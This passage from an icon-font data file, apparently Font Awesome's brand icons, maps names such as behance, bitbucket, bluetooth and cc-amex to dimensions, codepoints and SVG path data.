39.34 7.31 19.65 44.49 18.66 88.44-9.45 20.18 32.18 40.07 57.94 55.7 74.12a39.79 39.79 0 0 0 8.75 7.09c5.14 3.21 8.58 3.37 8.58 3.37-8.24-6.75-34-38-62.54-91.78 22.22-16 45.65-38.87 67.47-69.27 122.82 4.6 143.29-24.76 148-31.64 14.67-19.88 3.43-57.44-57.32-93.69zm-77.85 106.22c23.81-37.71 30.34-67.77 29.45-92.33 27.86 17.57 47.18 37.58 49.06 58.83 1.14 12.93-8.1 29.12-78.51 33.5zM216.9 387.69c9.76-6.23 19.53-13.12 29.2-20.49 6.68 13.33 13.6 26.1 20.6 38.19-40.6 21.86-68.84 12.76-49.8-17.7zm215-171.35c-10.29-5.34-21.16-10.34-32.38-15.05a722.459 722.459 0 0 0 22.74-36.9c39.06 24.1 45.9 53.18 9.64 51.95zM279.18 398c-5.51-11.35-11-23.5-16.5-36.44 43.25 1.27 62.42-18.73 63.28-20.41 0 .07-25 15.64-62.53 12.25a718.78 718.78 0 0 0 85.06-84q13.06-15.31 24.93-31.11c-.36-.29-1.54-3-16.51-12-51.7 60.27-102.34 98-132.75 115.92-20.59-11.18-40.84-31.78-55.71-61.49-20-39.92-30-82.39-31.57-116.07 12.3.91 25.27 2.17 38.85 3.88-22.29 36.8-14.39 63-13.47 64.23 0-.07-.95-29.17 20.14-59.57a695.23 695.23 0 0 0 44.67 152.84c.93-.38 1.84.88 18.67-8.25-26.33-74.47-33.76-138.17-34-173.43 20-12.42 48.18-19.8 81.63-17.81 44.57 2.67 86.36 15.25 116.32 30.71q-10.69 15.66-23.33 32.47C365.63 152 339.1 145.84 337.5 146c.11 0 25.9 14.07 41.52 47.22a717.63 717.63 0 0 0-115.34-31.71 646.608 646.608 0 0 0-39.39-6.05c-.07.45-1.81 1.85-2.16 20.33C300 190.28 358.78 215.68 389.36 233c.74 23.55-6.95 51.61-25.41 79.57-24.6 37.31-56.39 67.23-84.77 85.43zm27.4-287c-44.56-1.66-73.58 7.43-94.69 20.67 2-52.3 21.31-76.38 38.21-75.28C267 52.15 305 108.55 306.58 111zm-130.65 3.1c.48 12.11 1.59 24.62 3.21 37.28-14.55-.85-28.74-1.25-42.4-1.26-.08 3.24-.12-51 24.67-49.59h.09c5.76 1.09 10.63 6.88 14.43 13.57zm-28.06 162c20.76 39.7 43.3 60.57 65.25 72.31-46.79 24.76-77.53 20-84.92 4.51-.2-.21-11.13-15.3 19.67-76.81zm210.06 74.8"],
	"behance": [576, 512, [], "f1b4", "M232 237.2c31.8-15.2 48.4-38.2 48.4-74 0-70.6-52.6-87.8-113.3-87.8H0v354.4h171.8c64.4 0 124.9-30.9 124.9-102.9 0-44.5-21.1-77.4-64.7-89.7zM77.9 135.9H151c28.1 0 53.4 7.9 53.4 40.5 0 30.1-19.7 42.2-47.5 42.2h-79v-82.7zm83.3 233.7H77.9V272h84.9c34.3 0 56 14.3 56 50.6 0 35.8-25.9 47-57.6 47zm358.5-240.7H376V94h143.7v34.9zM576 305.2c0-75.9-44.4-139.2-124.9-139.2-78.2 0-131.3 58.8-131.3 135.8 0 79.9 50.3 134.7 131.3 134.7 61.3 0 101-27.6 120.1-86.3H509c-6.7 21.9-34.3 33.5-55.7 33.5-41.3 0-63-24.2-63-65.3h185.1c.3-4.2.6-8.7.6-13.2zM390.4 274c2.3-33.7 24.7-54.8 58.5-54.8 35.4 0 53.2 20.8 56.2 54.8H390.4z"],
	"behance-square": [448, 512, [], "f1b5", "M186.5 293c0 19.3-14 25.4-31.2 25.4h-45.1v-52.9h46c18.6.1 30.3 7.8 30.3 27.5zm-7.7-82.3c0-17.7-13.7-21.9-28.9-21.9h-39.6v44.8H153c15.1 0 25.8-6.6 25.8-22.9zm132.3 23.2c-18.3 0-30.5 11.4-31.7 29.7h62.2c-1.7-18.5-11.3-29.7-30.5-29.7zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zM271.7 185h77.8v-18.9h-77.8V185zm-43 110.3c0-24.1-11.4-44.9-35-51.6 17.2-8.2 26.2-17.7 26.2-37 0-38.2-28.5-47.5-61.4-47.5H68v192h93.1c34.9-.2 67.6-16.9 67.6-55.9zM380 280.5c0-41.1-24.1-75.4-67.6-75.4-42.4 0-71.1 31.8-71.1 73.6 0 43.3 27.3 73 71.1 73 33.2 0 54.7-14.9 65.1-46.8h-33.7c-3.7 11.9-18.6 18.1-30.2 18.1-22.4 0-34.1-13.1-34.1-35.3h100.2c.1-2.3.3-4.8.3-7.2z"],
	"bimobject": [448, 512, [], "f378", "M416 32H32C14.4 32 0 46.4 0 64v384c0 17.6 14.4 32 32 32h384c17.6 0 32-14.4 32-32V64c0-17.6-14.4-32-32-32zm-64 257.4c0 49.4-11.4 82.6-103.8 82.6h-16.9c-44.1 0-62.4-14.9-70.4-38.8h-.9V368H96V136h64v74.7h1.1c4.6-30.5 39.7-38.8 69.7-38.8h17.3c92.4 0 103.8 33.1 103.8 82.5v35zm-64-28.9v22.9c0 21.7-3.4 33.8-38.4 33.8h-45.3c-28.9 0-44.1-6.5-44.1-35.7v-19c0-29.3 15.2-35.7 44.1-35.7h45.3c35-.2 38.4 12 38.4 33.7z"],
	"bitbucket": [512, 512, [], "f171", "M22.2 32A16 16 0 0 0 6 47.8a26.35 26.35 0 0 0 .2 2.8l67.9 412.1a21.77 21.77 0 0 0 21.3 18.2h325.7a16 16 0 0 0 16-13.4L505 50.7a16 16 0 0 0-13.2-18.3 24.58 24.58 0 0 0-2.8-.2L22.2 32zm285.9 297.8h-104l-28.1-147h157.3l-25.2 147z"],
	"bitcoin": [512, 512, [], "f379", "M504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zm-141.651-35.33c4.937-32.999-20.191-50.739-54.55-62.573l11.146-44.702-27.213-6.781-10.851 43.524c-7.154-1.783-14.502-3.464-21.803-5.13l10.929-43.81-27.198-6.781-11.153 44.686c-5.922-1.349-11.735-2.682-17.377-4.084l.031-.14-37.53-9.37-7.239 29.062s20.191 4.627 19.765 4.913c11.022 2.751 13.014 10.044 12.68 15.825l-12.696 50.925c.76.194 1.744.473 2.829.907-.907-.225-1.876-.473-2.876-.713l-17.796 71.338c-1.349 3.348-4.767 8.37-12.471 6.464.271.395-19.78-4.937-19.78-4.937l-13.51 31.147 35.414 8.827c6.588 1.651 13.045 3.379 19.4 5.006l-11.262 45.213 27.182 6.781 11.153-44.733a1038.209 1038.209 0 0 0 21.687 5.627l-11.115 44.523 27.213 6.781 11.262-45.128c46.404 8.781 81.299 5.239 95.986-36.727 11.836-33.79-.589-53.281-25.004-65.991 17.78-4.098 31.174-15.792 34.747-39.949zm-62.177 87.179c-8.41 33.79-65.308 15.523-83.755 10.943l14.944-59.899c18.446 4.603 77.6 13.717 68.811 48.956zm8.417-87.667c-7.673 30.736-55.031 15.12-70.393 11.292l13.548-54.327c15.363 3.828 64.836 10.973 56.845 43.035z"],
	"bity": [496, 512, [], "f37a", "M78.4 67.2C173.8-22 324.5-24 421.5 71c14.3 14.1-6.4 37.1-22.4 21.5-84.8-82.4-215.8-80.3-298.9-3.2-16.3 15.1-36.5-8.3-21.8-22.1zm98.9 418.6c19.3 5.7 29.3-23.6 7.9-30C73 421.9 9.4 306.1 37.7 194.8c5-19.6-24.9-28.1-30.2-7.1-32.1 127.4 41.1 259.8 169.8 298.1zm148.1-2c121.9-40.2 192.9-166.9 164.4-291-4.5-19.7-34.9-13.8-30 7.9 24.2 107.7-37.1 217.9-143.2 253.4-21.2 7-10.4 36 8.8 29.7zm-62.9-79l.2-71.8c0-8.2-6.6-14.8-14.8-14.8-8.2 0-14.8 6.7-14.8 14.8l-.2 71.8c0 8.2 6.6 14.8 14.8 14.8s14.8-6.6 14.8-14.8zm71-269c2.1 90.9 4.7 131.9-85.5 132.5-92.5-.7-86.9-44.3-85.5-132.5 0-21.8-32.5-19.6-32.5 0v71.6c0 69.3 60.7 90.9 118 90.1 57.3.8 118-20.8 118-90.1v-71.6c0-19.6-32.5-21.8-32.5 0z"],
	"black-tie": [448, 512, [], "f27e", "M0 32v448h448V32H0zm316.5 325.2L224 445.9l-92.5-88.7 64.5-184-64.5-86.6h184.9L252 173.2l64.5 184z"],
	"blackberry": [512, 512, [], "f37b", "M166 116.9c0 23.4-16.4 49.1-72.5 49.1H23.4l21-88.8h67.8c42.1 0 53.8 23.3 53.8 39.7zm126.2-39.7h-67.8L205.7 166h70.1c53.8 0 70.1-25.7 70.1-49.1.1-16.4-11.6-39.7-53.7-39.7zM88.8 208.1H21L0 296.9h70.1c56.1 0 72.5-23.4 72.5-49.1 0-16.3-11.7-39.7-53.8-39.7zm180.1 0h-67.8l-18.7 88.8h70.1c53.8 0 70.1-23.4 70.1-49.1 0-16.3-11.7-39.7-53.7-39.7zm189.3-53.8h-67.8l-18.7 88.8h70.1c53.8 0 70.1-23.4 70.1-49.1.1-16.3-11.6-39.7-53.7-39.7zm-28 137.9h-67.8L343.7 381h70.1c56.1 0 70.1-23.4 70.1-49.1 0-16.3-11.6-39.7-53.7-39.7zM240.8 346H173l-18.7 88.8h70.1c56.1 0 70.1-25.7 70.1-49.1.1-16.3-11.6-39.7-53.7-39.7z"],
	"blogger": [448, 512, [], "f37c", "M162.4 196c4.8-4.9 6.2-5.1 36.4-5.1 27.2 0 28.1.1 32.1 2.1 5.8 2.9 8.3 7 8.3 13.6 0 5.9-2.4 10-7.6 13.4-2.8 1.8-4.5 1.9-31.1 2.1-16.4.1-29.5-.2-31.5-.8-10.3-2.9-14.1-17.7-6.6-25.3zm61.4 94.5c-53.9 0-55.8.2-60.2 4.1-3.5 3.1-5.7 9.4-5.1 13.9.7 4.7 4.8 10.1 9.2 12 2.2 1 14.1 1.7 56.3 1.2l47.9-.6 9.2-1.5c9-5.1 10.5-17.4 3.1-24.4-5.3-4.7-5-4.7-60.4-4.7zm223.4 130.1c-3.5 28.4-23 50.4-51.1 57.5-7.2 1.8-9.7 1.9-172.9 1.8-157.8 0-165.9-.1-172-1.8-8.4-2.2-15.6-5.5-22.3-10-5.6-3.8-13.9-11.8-17-16.4-3.8-5.6-8.2-15.3-10-22C.1 423 0 420.3 0 256.3 0 93.2 0 89.7 1.8 82.6 8.1 57.9 27.7 39 53 33.4c7.3-1.6 332.1-1.9 340-.3 21.2 4.3 37.9 17.1 47.6 36.4 7.7 15.3 7-1.5 7.3 180.6.2 115.8 0 164.5-.7 170.5zm-85.4-185.2c-1.1-5-4.2-9.6-7.7-11.5-1.1-.6-8-1.3-15.5-1.7-12.4-.6-13.8-.8-17.8-3.1-6.2-3.6-7.9-7.6-8-18.3 0-20.4-8.5-39.4-25.3-56.5-12-12.2-25.3-20.5-40.6-25.1-3.6-1.1-11.8-1.5-39.2-1.8-42.9-.5-52.5.4-67.1 6.2-27 10.7-46.3 33.4-53.4 62.4-1.3 5.4-1.6 14.2-1.9 64.3-.4 62.8 0 72.1 4 84.5 9.7 30.7 37.1 53.4 64.6 58.4 9.2 1.7 122.2 2.1 133.7.5 20.1-2.7 35.9-10.8 50.7-25.9 10.7-10.9 17.4-22.8 21.8-38.5 3.2-10.9 2.9-88.4 1.7-93.9z"],
	"blogger-b": [448, 512, [], "f37d", "M446.6 222.7c-1.8-8-6.8-15.4-12.5-18.5-1.8-1-13-2.2-25-2.7-20.1-.9-22.3-1.3-28.7-5-10.1-5.9-12.8-12.3-12.9-29.5-.1-33-13.8-63.7-40.9-91.3-19.3-19.7-40.9-33-65.5-40.5-5.9-1.8-19.1-2.4-63.3-2.9-69.4-.8-84.8.6-108.4 10C45.9 59.5 14.7 96.1 3.3 142.9 1.2 151.7.7 165.8.2 246.8c-.6 101.5.1 116.4 6.4 136.5 15.6 49.6 59.9 86.3 104.4 94.3 14.8 2.7 197.3 3.3 216 .8 32.5-4.4 58-17.5 81.9-41.9 17.3-17.7 28.1-36.8 35.2-62.1 4.9-17.6 4.5-142.8 2.5-151.7zm-322.1-63.6c7.8-7.9 10-8.2 58.8-8.2 43.9 0 45.4.1 51.8 3.4 9.3 4.7 13.4 11.3 13.4 21.9 0 9.5-3.8 16.2-12.3 21.6-4.6 2.9-7.3 3.1-50.3 3.3-26.5.2-47.7-.4-50.8-1.2-16.6-4.7-22.8-28.5-10.6-40.8zm191.8 199.8l-14.9 2.4-77.5.9c-68.1.8-87.3-.4-90.9-2-7.1-3.1-13.8-11.7-14.9-19.4-1.1-7.3 2.6-17.3 8.2-22.4 7.1-6.4 10.2-6.6 97.3-6.7 89.6-.1 89.1-.1 97.6 7.8 12.1 11.3 9.5 31.2-4.9 39.4z"],
	"bluetooth": [448, 512, [], "f293", "M292.6 171.1L249.7 214l-.3-86 43.2 43.1m-43.2 219.8l43.1-43.1-42.9-42.9-.2 86zM416 259.4C416 465 344.1 512 230.9 512S32 465 32 259.4 115.4 0 228.6 0 416 53.9 416 259.4zm-158.5 0l79.4-88.6L211.8 36.5v176.9L138 139.6l-27 26.9 92.7 93-92.7 93 26.9 26.9 73.8-73.8 2.3 170 127.4-127.5-83.9-88.7z"],
	"bluetooth-b": [320, 512, [], "f294", "M196.48 260.023l92.626-103.333L143.125 0v206.33l-86.111-86.111-31.406 31.405 108.061 108.399L25.608 368.422l31.406 31.405 86.111-86.111L145.84 512l148.552-148.644-97.912-103.333zm40.86-102.996l-49.977 49.978-.338-100.295 50.315 50.317zM187.363 313.04l49.977 49.978-50.315 50.316.338-100.294z"],
	"bootstrap": [448, 512, [], "f836", "M292.3 311.93c0 42.41-39.72 41.43-43.92 41.43h-80.89v-81.69h80.89c42.56 0 43.92 31.9 43.92 40.26zm-50.15-73.13c.67 0 38.44 1 38.44-36.31 0-15.52-3.51-35.87-38.44-35.87h-74.66v72.18h74.66zM448 106.67v298.66A74.89 74.89 0 0 1 373.33 480H74.67A74.89 74.89 0 0 1 0 405.33V106.67A74.89 74.89 0 0 1 74.67 32h298.66A74.89 74.89 0 0 1 448 106.67zM338.05 317.86c0-21.57-6.65-58.29-49.05-67.35v-.73c22.91-9.78 37.34-28.25 37.34-55.64 0-7 2-64.78-77.6-64.78h-127v261.33c128.23 0 139.87 1.68 163.6-5.71 14.21-4.42 52.71-17.98 52.71-67.12z"],
	"btc": [384, 512, [], "f15a", "M310.204 242.638c27.73-14.18 45.377-39.39 41.28-81.3-5.358-57.351-52.458-76.573-114.85-81.929V0h-48.528v77.203c-12.605 0-25.525.315-38.444.63V0h-48.528v79.409c-17.842.539-38.622.276-97.37 0v51.678c38.314-.678 58.417-3.14 63.023 21.427v217.429c-2.925 19.492-18.524 16.685-53.255 16.071L3.765 443.68c88.481 0 97.37.315 97.37.315V512h48.528v-67.06c13.234.315 26.154.315 38.444.315V512h48.528v-68.005c81.299-4.412 135.647-24.894 142.895-101.467 5.671-61.446-23.32-88.862-69.326-99.89zM150.608 134.553c27.415 0 113.126-8.507 113.126 48.528 0 54.515-85.71 48.212-113.126 48.212v-96.74zm0 251.776V279.821c32.772 0 133.127-9.138 133.127 53.255-.001 60.186-100.355 53.253-133.127 53.253z"],
	"buffer": [448, 512, [], "f837", "M427.84 380.67l-196.5 97.82a18.6 18.6 0 0 1-14.67 0L20.16 380.67c-4-2-4-5.28 0-7.29L67.22 350a18.65 18.65 0 0 1 14.69 0l134.76 67a18.51 18.51 0 0 0 14.67 0l134.76-67a18.62 18.62 0 0 1 14.68 0l47.06 23.43c4.05 1.96 4.05 5.24 0 7.24zm0-136.53l-47.06-23.43a18.62 18.62 0 0 0-14.68 0l-134.76 67.08a18.68 18.68 0 0 1-14.67 0L81.91 220.71a18.65 18.65 0 0 0-14.69 0l-47.06 23.43c-4 2-4 5.29 0 7.31l196.51 97.8a18.6 18.6 0 0 0 14.67 0l196.5-97.8c4.05-2.02 4.05-5.3 0-7.31zM20.16 130.42l196.5 90.29a20.08 20.08 0 0 0 14.67 0l196.51-90.29c4-1.86 4-4.89 0-6.74L231.33 33.4a19.88 19.88 0 0 0-14.67 0l-196.5 90.28c-4.05 1.85-4.05 4.88 0 6.74z"],
	"buromobelexperte": [448, 512, [], "f37f", "M0 32v128h128V32H0zm120 120H8V40h112v112zm40-120v128h128V32H160zm120 120H168V40h112v112zm40-120v128h128V32H320zm120 120H328V40h112v112zM0 192v128h128V192H0zm120 120H8V200h112v112zm40-120v128h128V192H160zm120 120H168V200h112v112zm40-120v128h128V192H320zm120 120H328V200h112v112zM0 352v128h128V352H0zm120 120H8V360h112v112zm40-120v128h128V352H160zm120 120H168V360h112v112zm40-120v128h128V352H320z"],
	"buy-n-large": [576, 512, [], "f8a6", "M288 32C133.27 32 7.79 132.32 7.79 256S133.27 480 288 480s280.21-100.32 280.21-224S442.73 32 288 32zm-85.39 357.19L64.1 390.55l77.25-290.74h133.44c63.15 0 84.93 28.65 78 72.84a60.24 60.24 0 0 1-1.5 6.85 77.39 77.39 0 0 0-17.21-1.93c-42.35 0-76.69 33.88-76.69 75.65 0 37.14 27.14 68 62.93 74.45-18.24 37.16-56.16 60.92-117.71 61.52zM358 207.11h32l-22.16 90.31h-35.41l-11.19-35.63-7.83 35.63h-37.83l26.63-90.31h31.34l15 36.75zm145.86 182.08H306.79L322.63 328a78.8 78.8 0 0 0 11.47.83c42.34 0 76.69-33.87 76.69-75.65 0-32.65-21-60.46-50.38-71.06l21.33-82.35h92.5l-53.05 205.36h103.87zM211.7 269.39H187l-13.8 56.47h24.7c16.14 0 32.11-3.18 37.94-26.65 5.56-22.31-7.99-29.82-24.14-29.82zM233 170h-21.34L200 217.71h21.37c18 0 35.38-14.64 39.21-30.14C265.23 168.71 251.07 170 233 170z"],
	"buysellads": [448, 512, [], "f20d", "M224 150.7l42.9 160.7h-85.8L224 150.7zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-65.3 325.3l-94.5-298.7H159.8L65.3 405.3H156l111.7-91.6 24.2 91.6h90.8z"],
	"canadian-maple-leaf": [512, 512, [], "f785", "M383.8 351.7c2.5-2.5 105.2-92.4 105.2-92.4l-17.5-7.5c-10-4.9-7.4-11.5-5-17.4 2.4-7.6 20.1-67.3 20.1-67.3s-47.7 10-57.7 12.5c-7.5 2.4-10-2.5-12.5-7.5s-15-32.4-15-32.4-52.6 59.9-55.1 62.3c-10 7.5-20.1 0-17.6-10 0-10 27.6-129.6 27.6-129.6s-30.1 17.4-40.1 22.4c-7.5 5-12.6 5-17.6-5C293.5 72.3 255.9 0 255.9 0s-37.5 72.3-42.5 79.8c-5 10-10 10-17.6 5-10-5-40.1-22.4-40.1-22.4S183.3 182 183.3 192c2.5 10-7.5 17.5-17.6 10-2.5-2.5-55.1-62.3-55.1-62.3S98.1 167 95.6 172s-5 9.9-12.5 7.5C73 177 25.4 167 25.4 167s17.6 59.7 20.1 67.3c2.4 6 5 12.5-5 17.4L23 259.3s102.6 89.9 105.2 92.4c5.1 5 10 7.5 5.1 22.5-5.1 15-10.1 35.1-10.1 35.1s95.2-20.1 105.3-22.6c8.7-.9 18.3 2.5 18.3 12.5S241 512 241 512h30s-5.8-102.7-5.8-112.8 9.5-13.4 18.4-12.5c10 2.5 105.2 22.6 105.2 22.6s-5-20.1-10-35.1 0-17.5 5-22.5z"],
	"cc-amazon-pay": [576, 512, [], "f42d", "M124.7 201.8c.1-11.8 0-23.5 0-35.3v-35.3c0-1.3.4-2 1.4-2.7 11.5-8 24.1-12.1 38.2-11.1 12.5.9 22.7 7 28.1 21.7 3.3 8.9 4.1 18.2 4.1 27.7 0 8.7-.7 17.3-3.4 25.6-5.7 17.8-18.7 24.7-35.7 23.9-11.7-.5-21.9-5-31.4-11.7-.9-.8-1.4-1.6-1.3-2.8zm154.9 14.6c4.6 1.8 9.3 2 14.1 1.5 11.6-1.2 21.9-5.7 31.3-12.5.9-.6 1.3-1.3 1.3-2.5-.1-3.9 0-7.9 0-11.8 0-4-.1-8 0-12 0-1.4-.4-2-1.8-2.2-7-.9-13.9-2.2-20.9-2.9-7-.6-14-.3-20.8 1.9-6.7 2.2-11.7 6.2-13.7 13.1-1.6 5.4-1.6 10.8.1 16.2 1.6 5.5 5.2 9.2 10.4 11.2zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zm-207.5 23.9c.4 1.7.9 3.4 1.6 5.1 16.5 40.6 32.9 81.3 49.5 121.9 1.4 3.5 1.7 6.4.2 9.9-2.8 6.2-4.9 12.6-7.8 18.7-2.6 5.5-6.7 9.5-12.7 11.2-4.2 1.1-8.5 1.3-12.9.9-2.1-.2-4.2-.7-6.3-.8-2.8-.2-4.2 1.1-4.3 4-.1 2.8-.1 5.6 0 8.3.1 4.6 1.6 6.7 6.2 7.5 4.7.8 9.4 1.6 14.2 1.7 14.3.3 25.7-5.4 33.1-17.9 2.9-4.9 5.6-10.1 7.7-15.4 19.8-50.1 39.5-100.3 59.2-150.5.6-1.5 1.1-3 1.3-4.6.4-2.4-.7-3.6-3.1-3.7-5.6-.1-11.1 0-16.7 0-3.1 0-5.3 1.4-6.4 4.3-.4 1.1-.9 2.3-1.3 3.4l-29.1 83.7c-2.1 6.1-4.2 12.1-6.5 18.6-.4-.9-.6-1.4-.8-1.9-10.8-29.9-21.6-59.9-32.4-89.8-1.7-4.7-3.5-9.5-5.3-14.2-.9-2.5-2.7-4-5.4-4-6.4-.1-12.8-.2-19.2-.1-2.2 0-3.3 1.6-2.8 3.7zM242.4 206c1.7 11.7 7.6 20.8 18 26.6 9.9 5.5 20.7 6.2 31.7 4.6 12.7-1.9 23.9-7.3 33.8-15.5.4-.3.8-.6 1.4-1 .5 3.2.9 6.2 1.5 9.2.5 2.6 2.1 4.3 4.5 4.4 4.6.1 9.1.1 13.7 0 2.3-.1 3.8-1.6 4-3.9.1-.8.1-1.6.1-2.3v-88.8c0-3.6-.2-7.2-.7-10.8-1.6-10.8-6.2-19.7-15.9-25.4-5.6-3.3-11.8-5-18.2-5.9-3-.4-6-.7-9.1-1.1h-10c-.8.1-1.6.3-2.5.3-8.2.4-16.3 1.4-24.2 3.5-5.1 1.3-10 3.2-15 4.9-3 1-4.5 3.2-4.4 6.5.1 2.8-.1 5.6 0 8.3.1 4.1 1.8 5.2 5.7 4.1 6.5-1.7 13.1-3.5 19.7-4.8 10.3-1.9 20.7-2.7 31.1-1.2 5.4.8 10.5 2.4 14.1 7 3.1 4 4.2 8.8 4.4 13.7.3 6.9.2 13.9.3 20.8 0 .4-.1.7-.2 1.2-.4 0-.8 0-1.1-.1-8.8-2.1-17.7-3.6-26.8-4.1-9.5-.5-18.9.1-27.9 3.2-10.8 3.8-19.5 10.3-24.6 20.8-4.1 8.3-4.6 17-3.4 25.8zM98.7 106.9v175.3c0 .8 0 1.7.1 2.5.2 2.5 1.7 4.1 4.1 4.2 5.9.1 11.8.1 17.7 0 2.5 0 4-1.7 4.1-4.1.1-.8.1-1.7.1-2.5v-60.7c.9.7 1.4 1.2 1.9 1.6 15 12.5 32.2 16.6 51.1 12.9 17.1-3.4 28.9-13.9 36.7-29.2 5.8-11.6 8.3-24.1 8.7-37 .5-14.3-1-28.4-6.8-41.7-7.1-16.4-18.9-27.3-36.7-30.9-2.7-.6-5.5-.8-8.2-1.2h-7c-1.2.2-2.4.3-3.6.5-11.7 1.4-22.3 5.8-31.8 12.7-2 1.4-3.9 3-5.9 4.5-.1-.5-.3-.8-.4-1.2-.4-2.3-.7-4.6-1.1-6.9-.6-3.9-2.5-5.5-6.4-5.6h-9.7c-5.9-.1-6.9 1-6.9 6.8zM493.6 339c-2.7-.7-5.1 0-7.6 1-43.9 18.4-89.5 30.2-136.8 35.8-14.5 1.7-29.1 2.8-43.7 3.2-26.6.7-53.2-.8-79.6-4.3-17.8-2.4-35.5-5.7-53-9.9-37-8.9-72.7-21.7-106.7-38.8-8.8-4.4-17.4-9.3-26.1-14-3.8-2.1-6.2-1.5-8.2 2.1v1.7c1.2 1.6 2.2 3.4 3.7 4.8 36 32.2 76.6 56.5 122 72.9 21.9 7.9 44.4 13.7 67.3 17.5 14 2.3 28 3.8 42.2 4.5 3 .1 6 .2 9 .4.7 0 1.4.2 2.1.3h17.7c.7-.1 1.4-.3 2.1-.3 14.9-.4 29.8-1.8 44.6-4 21.4-3.2 42.4-8.1 62.9-14.7 29.6-9.6 57.7-22.4 83.4-40.1 2.8-1.9 5.7-3.8 8-6.2 4.3-4.4 2.3-10.4-3.3-11.9zm50.4-27.7c-.8-4.2-4-5.8-7.6-7-5.7-1.9-11.6-2.8-17.6-3.3-11-.9-22-.4-32.8 1.6-12 2.2-23.4 6.1-33.5 13.1-1.2.8-2.4 1.8-3.1 3-.6.9-.7 2.3-.5 3.4.3 1.3 1.7 1.6 3 1.5.6 0 1.2 0 1.8-.1l19.5-2.1c9.6-.9 19.2-1.5 28.8-.8 4.1.3 8.1 1.2 12 2.2 4.3 1.1 6.2 4.4 6.4 8.7.3 6.7-1.2 13.1-2.9 19.5-3.5 12.9-8.3 25.4-13.3 37.8-.3.8-.7 1.7-.8 2.5-.4 2.5 1 4 3.4 3.5 1.4-.3 3-1.1 4-2.1 3.7-3.6 7.5-7.2 10.6-11.2 10.7-13.8 17-29.6 20.7-46.6.7-3 1.2-6.1 1.7-9.1.2-4.7.2-9.6.2-14.5z"],
	"cc-amex": [576, 512, [], "f1f3", "M325.1 167.8c0-16.4-14.1-18.4-27.4-18.4l-39.1-.3v69.3H275v-25.1h18c18.4 0 14.5 10.3 14.8 25.1h16.6v-13.5c0-9.2-1.5-15.1-11-18.4 7.4-3 11.8-10.7 11.7-18.7zm-29.4 11.3H275v-15.3h21c5.1 0 10.7 1 10.7 7.4 0 6.6-5.3 7.9-11 7.9zM279 268.6h-52.7l-21 22.8-20.5-22.8h-66.5l-.1 69.3h65.4l21.3-23 20.4 23h32.2l.1-23.3c18.9 0 49.3 4.6 49.3-23.3 0-17.3-12.3-22.7-27.9-22.7zm-103.8 54.7h-40.6v-13.8h36.3v-14.1h-36.3v-12.5h41.7l17.9 20.2zm65.8 8.2l-25.3-28.1L241 276zm37.8-31h-21.2v-17.6h21.5c5.6 0 10.2 2.3 10.2 8.4 0 6.4-4.6 9.2-10.5 9.2zm-31.6-136.7v-14.6h-55.5v69.3h55.5v-14.3h-38.9v-13.8h37.8v-14.1h-37.8v-12.5zM576 255.4h-.2zm-194.6 31.9c0-16.4-14.1-18.7-27.1-18.7h-39.4l-.1 69.3h16.6l.1-25.3h17.6c11 0 14.8 2 14.8 13.8l-.1 11.5h16.6l.1-13.8c0-8.9-1.8-15.1-11-18.4 7.7-3.1 11.8-10.8 11.9-18.4zm-29.2 11.2h-20.7v-15.6h21c5.1 0 10.7 1 10.7 7.4 0 6.9-5.4 8.2-11 8.2zm-172.8-80v-69.3h-27.6l-19.7 47-21.7-47H83.3v65.7l-28.1-65.7H30.7L1 218.5h17.9l6.4-15.3h34.5l6.4 15.3H100v-54.2l24 54.2h14.6l24-54.2v54.2zM31.2 188.8l11.2-27.6 11.5 27.6zm477.4 158.9v-4.5c-10.8 5.6-3.9 4.5-156.7 4.5 0-25.2.1-23.9 0-25.2-1.7-.1-3.2-.1-9.4-.1 0 17.9-.1 6.8-.1 25.3h-39.6c0-12.1.1-15.3.1-29.2-10 6-22.8 6.4-34.3 6.2 0 14.7-.1 8.3-.1 23h-48.9c-5.1-5.7-2.7-3.1-15.4-17.4-3.2 3.5-12.8 13.9-16.1 17.4h-82v-92.3h83.1c5 5.6 2.8 3.1 15.5 17.2 3.2-3.5 12.2-13.4 15.7-17.2h58c9.8 0 18 1.9 24.3 5.6v-5.6c54.3 0 64.3-1.4 75.7 5.1v-5.1h78.2v5.2c11.4-6.9 19.6-5.2 64.9-5.2v5c10.3-5.9 16.6-5.2 54.3-5V80c0-26.5-21.5-48-48-48h-480c-26.5 0-48 21.5-48 48v109.8c9.4-21.9 19.7-46 23.1-53.9h39.7c4.3 10.1 1.6 3.7 9 21.1v-21.1h46c2.9 6.2 11.1 24 13.9 30 5.8-13.6 10.1-23.9 12.6-30h103c0-.1 11.5 0 11.6 0 43.7.2 53.6-.8 64.4 5.3v-5.3H363v9.3c7.6-6.1 17.9-9.3 30.7-9.3h27.6c0 .5 1.9.3 2.3.3H456c4.2 9.8 2.6 6 8.8 20.6v-20.6h43.3c4.9 8-1-1.8 11.2 18.4v-18.4h39.9v92h-41.6c-5.4-9-1.4-2.2-13.2-21.9v21.9h-52.8c-6.4-14.8-.1-.3-6.6-15.3h-19c-4.2 10-2.2 5.2-6.4 15.3h-26.8c-12.3 0-22.3-3-29.7-8.9v8.9h-66.5c-.3-13.9-.1-24.8-.1-24.8-1.8-.3-3.4-.2-9.8-.2v25.1H151.2v-11.4c-2.5 5.6-2.7 5.9-5.1 11.4h-29.5c-4-8.9-2.9-6.4-5.1-11.4v11.4H58.6c-4.2-10.1-2.2-5.3-6.4-15.3H33c-4.2 10-2.2 5.2-6.4 15.3H0V432c0 26.5 21.5 48 48 48h480.1c26.5 0 48-21.5 48-48v-90.4c-12.7 8.3-32.7 6.1-67.5 6.1zm36.3-64.5H575v-14.6h-32.9c-12.8 0-23.8 6.6-23.8 20.7 0 33 42.7 12.8 42.7 27.4 0 5.1-4.3 6.4-8.4 6.4h-32l-.1 14.8h32c8.4 0 17.6-1.8 22.5-8.9v-25.8c-10.5-13.8-39.3-1.3-39.3-13.5 0-5.8 4.6-6.5 9.2-6.5zm-57 39.8h-32.2l-.1 14.8h32.2c14.8 0 26.2-5.6 26.2-22 0-33.2-42.9-11.2-42.9-26.3 0-5.6 4.9-6.4 